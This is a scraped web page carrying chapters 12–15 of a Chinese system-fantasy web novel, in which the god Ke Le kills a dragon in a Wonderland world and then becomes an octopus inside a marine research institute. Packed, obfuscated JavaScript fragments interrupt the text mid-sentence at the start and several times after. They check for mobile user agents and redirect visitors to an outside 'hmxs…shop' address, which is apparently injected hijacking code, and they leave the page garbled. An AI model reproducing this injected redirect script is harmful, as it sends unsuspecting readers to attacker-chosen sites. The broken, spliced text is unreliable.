l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944582|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “后花园那片地损失多少?” “如果按照您的要求,那已经没有办法建造一个孵化基地了。”铁皮士兵如实答,“全都烧得差不多了。” 安布洛斯捏了捏眉心,柯乐噗嗤一声没忍住,哈哈大笑,“丘比特,你真的是好敬业,在这里有了红皇后这样的身份,射箭射中了不少吧,你是打算开个扑克孵化基地,凑一个牌桌?” 安布洛斯咳了一声,骂道:“滚。” 柯乐点头:“确实得滚了,我得去看看你这只小青蛙说的占卜师,究竟是长啥样。” * 临界森林内。 越往深处,就离红白皇后的城堡越远,柯乐沿着药师给出的路线走,尽头出现一座架高的木屋。 只不过…… “安布洛斯,你都伤成这样了,怎么还跟过来?”柯乐瞅了眼倚着树闭目的西方神明,“你这样让我很难办,我无法和阿尔卑斯山交代。” “闭嘴,开门。”安布洛斯淡淡地说。 阿尔卑斯山的神天天坐高台,就是有这些个臭毛病。 柯乐抬手敲了敲门,“得先问问屋主人的意见,怎么能就这样轻易开门……” 他话还没说完,门忽而像弹簧一样自内推开,黑洞洞的空间内仿佛伸出一双无形的手,将他瞬间拖入屋内,门在他身后“砰”的一声关上。 “他没有绑定你这个系统,进不来的。”缥缈的声音在屋内响起,让他辨别不出声音的来源。 “闭眼,我拉灯喽。”啪嗒一声,屋内腾地骤亮,一张扑克翘着二郎腿,手上抽着一副牌。 柯乐定睛一看,面前的扑克卫兵牌面是一个戴帽小丑,手上正握着黄色球。 这竟是一张从未出现过的黑小鬼牌。 这按理是这个异世界的NPC,怎么会知道他绑定了系统? 柯乐问道:“你知道我绑定了系统?” “当然,我是这个仙境的占卜师,为对家系统所绑定,”黑小鬼牌将手中的卡牌摇成扇面摔到桌上,“新手入门关可以让你抽一次牌,请先翻第一二张牌,选择‘道具’还是‘答案’。” 【恭喜柯乐先生解锁[塔罗占卜]功能。】 【每个世界有一个塔罗占卜官,当您完成支线任务,会随意获得[预测点],系统的[任务大厅]也会更新可接的任务,完成任务可获得明码标价的[预测点],每次使用占卜功能消耗二十个[预测点]。】 【每次占卜先选择[道具]或是[答案],会根据感应获得异世界道具或者给您心中所想的问题的答案。】 【PS:因本副本为新手任务带领关,支线任务不计入预测点收集,直接体验占卜。】 “请做出选择。”黑小鬼牌提醒道。 这是系统福利啊,专门为他量身定制的,安布洛斯没有的。 想到这里,柯乐不禁暗喜。 他的手指在扇面的第一二张滑动。 要让他选择,他真的希望选到答案,毕竟他真的很想知道安布洛斯究竟有没有什么特定的任务。 砰砰—— 门口突然传来暴躁的拍门声。 “Queen真的好暴躁。”黑小鬼抽起一张牌,在他还没有反应过来时朝门上飞出牌,直插进门锁内,外面的敲门声突然就安静下来。 12. 【15%】 柯乐的手指顿住。 在扑克牌如同飞镖一样插入门锁时,他下意识将指尖红线抛出,瞬间虚虚缠上了黑小鬼牌的长脖。 他自己也没料到他没有丁点犹豫就出手。 后知后觉,原来他对维护东西方神明的友谊已经这么上心了,那回去得让天帝加薪! “只是隔绝声音而已,您别激动。”黑小鬼牌嘿嘿笑得奸诈,拉着柯乐的手,在他手指上用刀尖刺了一遭,让他的血液滴在卡牌上,“我属于系统,也属于您,怎么会伤害您的人呢?” 柯乐闷哼一声。 虽然牠的表述有点说不出来的怪,柯乐还是将线收了起来。 黑小鬼牌做了个“请”的手势,“抽吧。” “就这张了。”柯乐点了第二张牌,毕竟他不那么喜欢拿第一。 “好的,”黑小鬼牌翻了第二张牌,牌面是一块石头,“石头代表硬物,武器的象征,道具牌。” 他忘了他的衰神体质了,以后不能在心里默念想要什么,不然就要什么没什么。 柯乐暗诽,系统这招太狠了。 黑小鬼牌又从套牌里抽出三张主牌,放在桌面,“您在脑海里描绘你想要的武器特征,注意是特征,用词汇表达出来。” 武器吗……那肯定得具备“坚硬”、“称手”,哦最主要的还得比较“好看”,他得打消系统给他一根丑陋狼牙棒的念头。 黑小鬼牌:“好了,请您选择您最有感应的一张牌。” 他闭眼,在脑海里视野转过四张牌。 “这张。”他挑了中间那张。 “您似乎很喜欢选中间,这并不是一个好习惯。”黑小鬼牌翻开牌,然后将连续六张收起。 “一个推石头的人、星币六、勤劳耕作的农夫,欧,我想起了您的‘死因’,不就是西西弗斯的巨石吗?”黑小鬼牌对着他笑了笑,“您的内心比较坚韧,但是常常因为赶路而没注意到一些细节性的东西。” 【小可评定中……】 【评定完成……道具加载完成……】 【[一把平平无奇的斧头]已放入背包。】 【这是一把平平无奇的斧头,它来自[异世界-河神赠送封存],它坚韧无比,足以砍断世界上所有东西。】 柯乐从背包内调出斧头,斧头刀刃锐利,微微生锈,确实看起来平平无奇,只不过手握的地方刻着一个简笔画小老头,倒是让他莫名觉得可爱。 不多时,木屋的门从内打开了。 柯乐刚往外踏出一步,一把弓倏地横在他的脖子上。 安布洛斯的眼神锐利寒冷,柯乐慌忙举起手来,“我什么都没干!” 这不是此地无银三百两吗? 柯乐在心底暗骂一声。 安布洛斯越过他,看向他背后敞开的大门,皱眉,欲言又止,“你刚刚在里面……” 柯乐还穿着来时的旗袍,大腿处的开叉因为他的动作幅度又撕开了些,又因为惊恐,脸微微泛红,嘴唇微张。 他见安布洛斯脸色不佳,也顺着他的目光往后看,只见屋内光线充足,哪里还有占卜师的影子? “我该想到的,你都锁门了,还在里面发出……”安布洛斯将弓收起来,白了他一眼,“神主啊,我应该忏悔,如果柯乐阳/萎了,是我的问题。” 什么玩意?发出什么……难道是他刚刚滴血的时候…… 在明白自己被污蔑后,柯乐的脸瞬间涨红,刚要反驳,森林外围传来铁皮士兵的呼喊。 “他们好像在叫你哎,”柯乐顺势将这个尴尬的话题揭过,“我们去看看吧。” “只有我,”安布洛斯罕见地绅士一回,“你这套衣服不能再穿了。” “等等我,我在这里有点魔法,我去找套衣服。” 柯乐将自己重新关进屋内,叫出系统。 “系统,我还有其他装扮吗?” 【背包更新中……】 【有的,爱丽丝女仆套装X1,平平无奇的斧头X1。】 柯乐看了看自己身上的旗袍,再对照那件女仆装,还是咬了咬牙,“就它了。” 再次拉开门,安布洛斯微微动容,罕见地没有出声怼人,侧身让柯乐出来。 就在此刻,四月兔突然冲了出来,见着女仆装可乐,两个兔牙磨了磨三瓣唇,“爱丽丝小姐真的好没有底线。” 柯乐:“……这么慌张,发生什么事了?” 四月兔两只耳朵竖起,“沙布里昂,就是那条龙,它失控了!” 冲回去的路上,柯乐进行了一场头脑风暴,将杀死恶龙的方式全部盘点了一遍。 或许他唯一的胜算,就是刚刚抽到的斧头。 理想状态下,用斧头砍下龙头,这是最直接的方法。 一声龙啸波及到森林内,河水起了涟漪,风压折了草木。 柯乐加快速度,“不好,它看起来要疯了!” 恶龙已经吸取了上一次被捕的教训,围着众士兵,盘旋在空中喷火,不让任何人有近身的机会。 这样斧头也派不上用场了。 柯乐抬手咬指甲,忽而尝到血腥味,才发现在关键时刻,他竟然在放空。 这真的是一个无解的局面,除非又是用红线把牠和其他什么东西绑在一块,或者用安布洛斯射龙,让牠爱上第一眼看到的人,暂时拖住牠。 他扫视四周,众士兵看到他这副模样,纷纷偏头不看他。 哼,没用的家伙们……哎等等? 不起眼的丛林堆里,一双金色的眼睛正悄悄观察着战局。 在察觉柯乐朝牠看去后,桑格利凡顿觉是他是冲牠来的,翅膀往一旁一打就要扇动逃离。 “就你了,桑格利凡!”柯乐指尖一动,红线往桑格利凡飞去,隐隐有拐弯的趋势,打算像啪啪圈一样打上桑格利凡的瞬间,拐上恶龙的任何一个部位。 就在这时,一只桃心箭矢从一旁射出,冲恶龙直射而去! 柯乐一惊,红线瞬间发软。 箭和线相碰时,线以一种极其怪异的角度缠上了箭,被柯乐这样一收,还真的堪堪擦进了恶龙的鳞片缝隙内。 柯乐刚想握拳说“yes”,恶龙一顿,目光从箭头上移开,突然在下一秒遥遥对上了他的眼睛。 周围的画面好似停滞了,众士兵面面相觑,将穿着女仆装的柯乐当做了全场焦点。 这个局势…… 柯乐的太阳穴突突跳了跳。 在众人的惊呼下,热风裹挟着沙尘迎面而来,耳鸣让他丧失了行动的能力,他呆呆地看向安布洛斯,又呆呆地扭头正对恶龙,看着牠朝“心上人”飞奔而来。 他瞬间闭眼。 要变成飞饼了。 但那股劲突然在到达 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944583|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他面前时收了,他等了几秒,捂着脸的手指张开一条缝。 恶龙粗糙的黑色脖颈就横在他面前,有什么东西在牠的喉管里上下滚动,类似于喉结。 他发出了一声“嗯”的疑问鼻音,突然恶龙抽动两下,呕出腥臭的液体朝他兜头而下,他当即干呕。 安布洛斯在恶龙呕出时当即避开,“柯乐你现在好恶心。” 他怎么这么倒霉,士可杀不可辱啊啊啊!!!! 恶龙的身形忽然开始摇晃, 砰—— 庞大的身躯轰然倒地,不停抽搐,嘴角不断吐出白沫。 在一瞬的剧烈抽动后,恶龙不动了。 “药师。”安布洛斯给了药师一个眼神。 青蛙蹦蹦跳跳地跃到恶龙旁边,颤颤巍巍伸出蛙蹼,一蹦而上,“沙布里昂死了——” 沉寂片刻后,爆发出热烈的欢呼声。 疯帽子摘下帽子,露出橘黄色的头发,又将帽子抛向空中。 半人马的铁蹄踏得纷乱,青蛙卫兵呱起了交响曲,树精灵荡起藤蔓让扑克士兵玩起了秋千。 这个世界只有柯乐沉默的结局达成了。 恶龙的呕吐物实在太恶心,疯帽子本来是高呼“牛皮纸说的是对的,爱丽丝带领我们杀死了巨龙”,但没人想靠近他。 “东方月老,你需要洗洗了。”安布洛斯紧皱着眉头下令,“铁皮士兵,把他扔到河里。” 噗通—— 柯乐甩了甩头发,还好没有留着像安布洛斯一样的头发,不然现在他的头发肯定像海带。 他独自爬上岸,本以为没有人等他,可安布洛斯却倚着树,双手抱胸。 一条毛巾朝他的头扔了过来,安布洛斯语气淡漠,“擦干。” 他吸了吸鼻子。 安布洛斯终于有点神样了,有点感动是怎么回…… “感冒时尝不到味道,你自己去试试你的东西有多难吃。”安布洛斯说。 柯乐收回了他的感动。 他也没下过厨啊,安布洛斯这是妥妥的污蔑! * 红心城堡后花园。 恶龙沙布里昂的尸体在不远处焚烧,柯乐盯着囚禁恶龙的“魔窟”——一个超大的笼子,里面摆着一条食槽,里面还有未吃完的食物糊糊。 “铁皮士兵,”安布洛斯看着抖成筛糠的铁皮说,“虽然牠是囚徒,但不至于吃这些。” “欧我的Queen,”铁皮士兵将长枪哐哐朝一旁一扔,直直跪下,“我以为这是非常好的东西!” “这是什么?能吃吗?”安布洛斯冷冷地说。 “这是……”青蛙药师顿了顿,弯腰一闻,“这是我给Queen调配的药……啊……” 青蛙眼睛凸出,一动也不敢动,也不敢再去看牠的Queen。 “我觉得不能浪费,所以就给牠吃了。”铁皮士兵说。 “你是药师还是巫师?”安布洛斯冷哼一声,“想毒死我。” “你看安布洛斯,最终还是我献身救了你,你得好好感谢我啊。”柯乐自豪地比大拇指。 “对了对了,Queen,我想起来了!”药师也是噗通跪下,颤抖着。 安布洛斯:“说。” “是爱丽丝,她在您的药里下了东西!” 柯乐:……我也只是下了罗勒而已。 13. 任务大厅 【恭喜柯乐先生杀死恶龙,顺利完成主任务,获得成就:屠龙高手。】 【本副本中,您有许多高光时刻封存在[任务大厅-刷本记录]里,您以意想不到的方式给小可惊喜呢,感谢您为天庭-天堂合作贡献出一份力量。】 确认恶龙死亡的那一刻,柯乐被一道光影突然拉入了一个空间内。 这个空间内白茫茫一片,伴随着扭曲感,让他觉得头有些晕。 【您肯定累了吧,小可为您打开您的[家园],让您能够休息。】 家园? 【请您选择您的家园模式。】 【模式1:清新森林款。】 【模式2:归隐山林款。】 【模式3:简约黑白款。】 【模式4:华丽堂皇款。】 打住,华丽堂皇? 那不就是红心宫殿吗?不要不要。 “那就归隐山林吧。” 【收到。】 先是有溪流潺潺之声像从远处传来,由远及近,带出清脆鸟鸣。 白色扭曲的空间仿佛画卷一般徐徐展开,天空微阴,空气带着稀薄水汽,一张带着白色纱帘的床,一张品茶的桌子对着窗。 目光所及,远处是茂密山林,最后再摆上一张木摇椅、一把小蒲扇。 这才是符合东方宝宝的意境啊。 柯乐非常满意。 既然是系统给的,那就勉为其难收下这份薄礼。 他脱了鞋,直接往床上一躺,昏昏沉沉就要睡去,就在此刻,“铃铃铃”的声音将浅眠的他瞬间惊醒。 柯乐抬手拍掉嗡嗡响的闹钟,“……为什么还有这玩意啊!” 【小可认为,归隐山林也不能太摆烂呢,而且闹钟才符合东方意境。】 这是什么歪理啊?明明这种天气就是适合睡觉的,还让不让打工人活了! 柯乐揉了揉睡成鸡窝的头,系统将他强行喊醒。 【根据您的喜好,任务大厅就能在您面前的藏书阁中,请您选择想要接的任务,也可以不接任务,随您心情。】 柯乐来到书架前,道道书卷在他面前展开。 --好想吃镇神街里的桂花糕,谁有出任务路过帮我带点回来。----5个预测点 --有点遗憾,疯帽子带我做的帽子有点太丑了,谁帮我重做一下,拍照给我即可。----4个预测点 --黄昏之战里,我把雷神之锤甩出去砸到地上的兔妖,有没有成功的,蹲一个he结局----10个预测点 大多都是刷副本顺带可以完成的,又可以获得预测点,属实一举两得。 柯乐从上至下扫了一遍,目光落到了这条上面—— --求助:我的狗在出任务时走丢了,时间是十一月十一日,请求好心人将它带回家园,重谢----14个预测点 这任务有点感人,要不就这个吧。 柯乐拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944584|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下这个任务卷轴,“系统,有没有其他线索?这样我找到猴年马月都找不到。” 卷轴继续延展。 【有的,有委托人给的照片。】 一只深褐色的、流畅的、肥嘟嘟的长须动物趴在一块冰上,正叼着一条鱼。 柯乐:“……系统,你告诉我这是狗?” 【当然,海狗怎么不算狗呢?】 柯乐正要发火,突然心脏咚的一声,血液迸发,让他四肢都有些发麻。 这是……怎么了? 【嘻嘻,你的对头正在异世界等你呢。】 【没事的柯乐先生,这个任务对你来说非常简单,因为这一次的主题和你接的这个任务非常相配。】 “很相配?海狗?难道和海洋有关系?” 【柯乐先生,您真聪明。】 【副本加载中……】 【加载完成。】 【副本二:海的儿子已经开启。】 【爱恨情仇是亘古不变的话题,古有小美人鱼爱丽儿因为深爱王子而甘愿变成泡沫,今有美人鱼杜丽受渣男蛊惑变成泡沫。】 【您是杜丽的远方表哥莫罗斯,想替表妹杜丽报仇。】 【主线任务:让渣男深陷感情囹圄,感染渣男,完成复仇。】 【另:请注意,请注意不要陷入女巫的交易。】 柯乐忍不住搓了搓手。 这竟然是复仇剧本,真带感呢,冲冲冲! 14. 【15%】 西洋,亚特兰蒂斯海域。 海水在阳光的照射下波光粼粼,荡起的海浪打在浅滩礁石上,散出细细的白沫。 一艘巨型捕捞船拖着巨大的密网破开海面,钓鱼者们也没闲着,不断甩勾抽动,模拟海虾的游动轨迹。 柯乐自昏沉中醒来,黑暗的海底世界让他好一会才缓过神来。 他的目光逐渐聚焦,终于能够适应黑暗,偶有鮟鱇鱼游过,小灯泡照出海底游弋的鱼群。 他居然变成了美人鱼,现在他会不会和安布洛斯一样,有着符合西方神话人物的深邃眼眸、挺拔鼻梁、凸起的颧骨? 不对,他为什么要拿安布洛斯做模板比较?他也没那么好看嘛。 “系统,我这次要攻略的对家是哪个角色?”柯乐吸取上个副本的教训,“是那个渣男?” 【小可提醒您,本次需要攻略的角色是[蓝海研究所]的[所长]波特莱特。】 哦豁,渣男的级别还挺高。 果然,这些人擅长拿捏人心,在这个位上但凡缺些手段都坐不稳。 不过这样的人总是喜欢美人的,恰巧他是一尾貌美的美人鱼,到时候先把渣男骗到手,然后再狠狠将他摔入尘埃。 柯乐神生第一次做美人鱼,激动得甩了甩尾…… 怎么有点不大对? 他那条漂亮的、闪闪发光的鱼尾怎么没有如他所愿荡起波涛呢? 柯乐全身顿时发麻,低头去看自己的腿。 天哪,白花花的腿,而且不止两条……足足有八条! 他的气一下没顺过来,“噗”的一声喷出一口浓墨,当即染黑了附近一片水域。 “系统,你给我出来,说好的美人鱼呢?怎么是章鱼哥啊!” 【亲爱的柯乐先生,小可至始至终都没有提到给您美人鱼的身份哦。】 美人鱼杜丽的远方表哥…… 柯乐气得又吐了一口墨,趴在珊瑚上,将吸盘吸附在珊瑚上,发出啵啵两声。 咕—— 因为喷太多的墨,肚子空空。 柯乐无力地抬起触手。 他难道真的要用这个章鱼的身体去捕猎吗…… 就在此时,一道沙哑的声音自珊瑚内响起:“孩子,你怎么单独在这里?是想要变成人,去外面的世界看看吗?” 什么人! 他警惕地弹跳开,珊瑚缓缓朝两侧打开,一条老美人鱼正拿着一瓶绿色的药水摇晃着。 老美人鱼笑得和蔼,“喝下它,你就能变出双腿,在陆地自由行走了。” 哼,老女巫,想诓骗他喝下变成人类的药水,没门! “不要不要,”柯乐摆动触手,“之前直立行走了大半辈子,现在游游泳放松挺好的。” 老女巫哈哈大笑,甩给他一枚金币,“亲爱的,本想着你用得好可以帮我推销,现在看来你并不信任我。给你这枚金币,如果你回心转意了,就找到许愿池,将金币抛进去就好。” 许愿池? 会不会是新的塔罗预测点? 柯乐犹豫片刻,还是将金币收进背包。 【获得[许愿金币]X1。】 洋流流过,柯乐觉得肚子热热的,饥饿感又叠了一层。 老女巫微笑着,缓慢退回珊瑚内,“我们会再见的,亲爱的。” 他很快适应了自己的章鱼身份,一条小鱼自他面前游过,他惊讶地看着这条落单小鱼带出了一片鱼群。 一般来说,鱼虾是结伴而行的,虾可是章鱼最喜欢的食物。 柯乐的眼睛都瞪直了,果然,他盯到稀稀拉拉的虾跳跃而过。 他在珊瑚边伺机而动,等到一只长得像九节虾的大虾刚在他面前闪过时,他八腿一蹬! 整只章鱼小鱼雷一般射出,柔软的腿瞬间将猎物包裹,他啊呜一下将虾纳入口中。 他刚想咀嚼,忽而发现自己的嘴被什么东西勾住了,八腿搅动,却怎样都挣脱不开。 章鱼的痛觉并不灵敏,他以为是吃了什么卡到喉咙,直到他看到一根坚韧的细线从他口中连接到海面以上。 这这这这,钓章鱼了啊! 海面上的垂钓者察觉有鱼咬钩,线一松一放。 力道之大,直接将他拖着往海面上冲去,水压急速变化,他感到身体极其地重,头晕目眩,连喷墨的功夫都不给他留。 他看着船的底部离他愈发近了,奋力借势往船底钻,企图通过底部或者螺旋桨将鱼线割断。 可那些钓海货的都是大佬级别钓鱼佬,又怎么能逃出生天? 被拖着跃出海面时,捕捞船上传来几道交叠的欢呼赞赏声。 “我以为今天会空军呢,总算让我钓到章鱼了!”一个络腮胡将钩子从他的嘴里取出,抓着他的头朝周围一圈人炫耀。 “这个头还不小呢,”旁边一个金色寸头拨弄他的长腿,“约克,这个刺身肯定很是鲜甜。” “欧不,尼达,我才是老吃家,”约克用手指按压他的头,将他的头按得左右摇晃,“你看它的墨这么多,一定得是油炸后盖饭……” 受不了了,他们怎么能当着章鱼的面讨论章鱼的吃法呢?! 无耻! 柯乐鼓足了劲,身子一弓,朝两位老吃家喷出一股重墨。 尼达被射了个措手不及,破口大骂,“Shit!” 柯乐被抓着头剧烈摇晃,一边承受着难听的谩骂。 还好英语听力六级没过,不然就听懂了。 然而下一刻,络腮胡尼达愤愤道:“我现在就要生吃了你,看看你的墨水是不是巧克力味的!” 柯乐打了个寒颤,身体上迅速浮现出紫色的斑点,不停变幻。 他看着深渊巨口朝他张开,烟味和海水的咸味朝他扑面而来。 天哪,他不要被这样的嘴爆头!!! 他奋力抬起腿,吸盘狠狠抽上尼达的大鼻子,尼达的牙齿磕上了他的腿,咬下了一截。 他的腿!完了,他不干净了啊啊—— 就在尼达想要将他的头一口闷时,尼达别在胸前的对讲机突然传来沙沙电流声,“金枪鱼群来了,赶紧抄网。” 尼达几乎是瞬间就放弃了他,踢开一旁储鱼箱的盖子,将他摔了进去。 他的后背接触到碎冰块,身旁是许多动弹不得的杂鱼,半凸着眼。 他挪动着身子,将自己贴在箱壁,外面传来嘈杂的呐喊,紧接着是重物落地的声音,显然这艘渔船收获颇丰。 “这边放不下了。” 尼达拖着金枪鱼朝储鱼箱走来,将金枪鱼甩了进来,坚硬的鱼尾颤了颤,朝着柯乐的脸啪啪就是两下。 有更多的金枪鱼被甩进了箱子,柯乐被挤得喘不上气。 在箱子盖上盖后过了一段时间,终于听到鸣笛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944585|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声。 船返航了。 箱子里的金枪鱼都不那么大,但数量很多,层层叠叠挤压着柯乐,随着波涛肆意晃动,将他逼得没有容身之地。 他不禁感叹,命运这么坎坷啊。 不知过了多久,外面的人声再次鼎沸,船员们的脚步杂乱,箱子拖动的声音尖锐。 突然他的储鱼箱盖子被人掀开了。 一只毛发旺盛的手伸了进来,在鱼堆里搅动,在碰到他时一顿,然后猛地揪住他头往上揪! “欧,尼达,你钓的这个小家伙看起来真好吃。” 单看脸的话,面前这人眼窝深邃,宽眼皮衬得他的金眸炯炯有神,天然的阴影让他的脸部轮廓看起来很是立体。 倒是和安布洛斯有几分相似,但一开口就和他天差地别了。 “厄尔尼诺,”尼达大吼道,“那可是我的甜甜宝贝,但你要高价买的话我也是勉强可以出手的,不然我就要拿回去清蒸了。” 不是炸吗?怎么变成清蒸了。 如果章鱼能做表情的话,柯乐大概已经白眼翻到天上去了。 “你想吃了它?那恐怕不行。”厄尔尼诺取出一个玻璃瓶,将他塞了进去,然后将瓶子贴近帅脸,仔细观察,“它是我们所里非常稀缺的松木章鱼。” 研究所?难道他就是海蓝研究所里的人? 如果是的话,或许这是接近那个所长渣男最好的方式。 简直完美! 柯乐与金色的大眼对视,被人这样近距离观察,感觉就像全/裸一样。 他只能往瓶底缩,用腿将自己包裹起来。 厄尔尼诺拿着瓶子往岸上走,路过正收网的尼达,甩了一个小布袋给他,“十金币,我买了。” 尼达接过布袋在身上擦了擦,满脸堆笑,“好的,尊贵的研究员,海蓝研究所派您前来渡口蹲守,一定是非常正确的选择,希望您的研究实验一切顺利。” “但这小家伙的腿好像被什么东西啃了一口,”厄尔尼诺笑了笑,“您可能得去坐上一年半载的牢,也祝愿您一切顺利。” 柯乐对这个男人的好感度直线上升。 貌美研究员解救真·失足章鱼,并为小章鱼报仇雪恨,这听起来是不是有点玛丽苏? 厄尔尼诺将他直接带离渡口,驱车前往研究所,然后将他安放在一处玻璃生态柜里。 生态柜里有他藏身的珊瑚,也有一两个碎陶瓷瓶让他歇脚,水体咸度适中。 在海蓝研究所里,这样按照生物习性设置的生态柜有很多,至少在一层是这样子的。 ”厄尔尼诺,你从哪里拿回来的松木章鱼?” 穿着白色研究服的男人从电梯里走出,扶了扶眼镜,“所长昨天才下的命令,所有海物都需要经过西洋海关,报备才能带回内陆,你忘了吗?” 厄尔尼诺嘴角一勾,耸了耸肩,“波特莱特那个家伙,搞这些没用的,把时间用在标注这些东西上,还怎么做研究?我可不管他。” 波特莱特? 柯乐敏锐地捕捉到信息。 总是将一些不可理喻的政策下发,让下属难做工作,真的非常符合一个渣男所长的形象。 “你们两个,在说什么?” 从步梯上走下一个中年男人,梳着一丝不苟的大背头,眼神锐利,“如果你们不想要这份工作,那就辞职,保证没人拦你们。” 15. 【15%】 柯乐贴着玻璃往外看。 厄尔尼诺和这名研究员看起来对这个中年男人还是有几分忌惮。 “所长,”研究员扶了扶眼镜,“厄尔尼诺是说笑的,他是想为所里多做些贡献。” 哦,原来他就是所长波特莱特,难怪他端着这副模样,一看就职位不低。 “系统,我该怎样感染渣男?” 【您只需要咬上一口,就能够让被咬的人与您的基因融合,逐渐章鱼化。】 咬上一口? 那他首先还是得出去。 系统还要求他要征服渣男,那首先还是得变成人……难道他刚和女巫立下的flag这么快就得破了? 不行不行,系统都说了小心女巫的交易,女巫肯定是要诓骗他牺牲自我的。 “今晚电路检查,会提前断电,”所长说,“1号试管先提前收起来,晚上都不要在这里,所里要提前拉门闸。” 研究员越过所长往他身后的二楼望去,“有的,我刚刚已经收起来了,实验体M已经长出了拟腿。” 拟腿……莫非这个研究所正在做生物长出人腿的试验? 这简直就是为他而做的实验。 柯乐暗喜,在生态柜里游了两圈,忽然所长斜睨而来,扫了他一眼,对厄尔尼诺说教:“以后注意点,一定要报备,西洋海关那边我去说。” 厄尔尼诺咬了咬牙,没有吭声。 夜幕很快降临,厄尔尼诺舀了一勺虾皮饲料,从输送口倒进了生态柜中。 “小家伙,你长得真漂亮,”他的眼神深情痴迷、温柔似水,“如果可以的话,我想把你带回家。” 柯乐正饱餐呢,听到这话,悬在水中的身体一顿。 好像不太行,因为晚上还要去找那个能找出拟腿的东西,不出意外的话,就是他们口中说的“1号试管”。 虽然他还是很想随帅哥回家的。 “你贴在墙角,那看来不大喜欢我呢,”厄尔尼诺露出难过的表情,让柯乐有些动容,“那算了,我明天再来看你。” 他将一个黑色的小盒子放在生态柜边,“给你留了一个音乐盒,希望柔和的音乐能陪你度过一个美好的夜晚。” 【恭喜先生获得美妙音乐盒X1。】 厄尔尼诺真的是一个非常细心的男人。 柯乐抬起触手,在水中做了一个wave。 * 夜晚七点,海蓝研究所的报时器响起,“哒”一声,整栋楼陷入黑暗。 只剩音乐盒还在播放着柔和的钢琴曲,听得柯乐昏昏欲睡。 他看向二楼,1号试管应该还在里面。 作为海洋里智商排名第一的生物,一个小小的生态柜并不能困住他。 他先将两条腿攀上输送管,待吸盘吸附之后再往上蠕动,柔软的身体随意折叠,像流动的水一样,很快到达管口。 就在他打算喘一口气时,一楼的门闸忽然“滴”的一声,缓缓开了一条缝! 他顿时缩了回去,躲在输送管口,露了半个头往外观察。 门缝大了些,从门下钻进一个头,一个穿着西装的男人跻身而入。 所长波特莱特?不是他说夜晚不要来的吗,他来做什么? “亲爱的,怎么有音乐?”一道娇滴滴的女声自门外传来,“好黑,我好害怕。” 所长弯腰将一个金发女郎接了进来,低声安慰,“没事的,这里什么人都没有,音乐恰好为我们伴奏……” 他的声音被金发女郎堵在嘴里,唇齿交缠的声音缠.绵悱恻。 下一刻,波特莱特仿佛受了极大的鼓舞,直接将女郎拦腰抱起,托着她的臀直接往柯乐的方向走来! 柯乐整个章鱼都僵硬了,头嗡嗡直响。 不要发现他,他只是一只透明的小章鱼,无意冒犯无意冒犯…… 咚—— 女郎的臀直接贴上了他的生态柜,仅仅和他相隔几厘米! 然而波特莱特完全没有注意到他,呢喃着女郎的名字,手不停往下移。 天呐呐呐呐,这这这这这这咋就开始了?!!! 柯乐是一个纯情的月老。 他只负责牵红线,但牵红线之后的酱酱酿酿可真的不是他负责的啊! 生态柜开始被疯狂撞击,海水在生态柜里晃荡,不断冲刷着输送管。 柯乐的脸快要烫得冒烟了。 就在他要往输送管内钻,企图将这疯狂的一幕屏蔽掉时,他忽然瞥见二楼紧闭的实验室大门不知何时开了一条缝。 缝里黑漆漆的,如果不是因为章鱼早已习惯黑暗的海底,根本不可能发现。 恐怖片里的画面瞬间涌入脑海,空荡的研究所完全符合他幻想的条件。 此刻或许有一双眼睛,透过缝隙,在窥视着研究所里正发生的一切。 源源不断的幻想让柯乐打了个寒颤。 “米雅,”波特莱特喘息着,“欧,你真美,比那上世纪的美人鱼还要美。” 金发女人芊芊素指抚摸着男人,声音甜腻,“世界上哪里有真的美人鱼,亲爱的,你又在哄我开心,但是我真的太爱你了。” “怎么没有,”波特莱特突然停下,“他们曾经是海洋的统治者,拥有着最美丽的脸庞和最甜蜜的声音,但最终也不过是……算了,你不会懂的。” 波特莱特好像突然没了兴致,草草了事。 他点了根烟,又突然想起什么,将烟摁灭在生态柜旁,随意揽了女郎的腰,“我送你回去。” 柯乐听到红线崩断的声音,嘎嘣脆。 一截红线颤颤巍巍分别缩回两个人的心脏。 “我是怎么惹到你了吗?”女郎质问,捋了捋自己的皮短裤,“你最近的脾气时好时坏,我都不知道你究竟是怎么了。” “最近实验快完成了,我很忙。”波特莱特并没有将女郎的话放在心上,搂着她往大门的方向走,“不要多想。” 原来成为渣男的第一步就是睁眼说瞎话,长见识了。 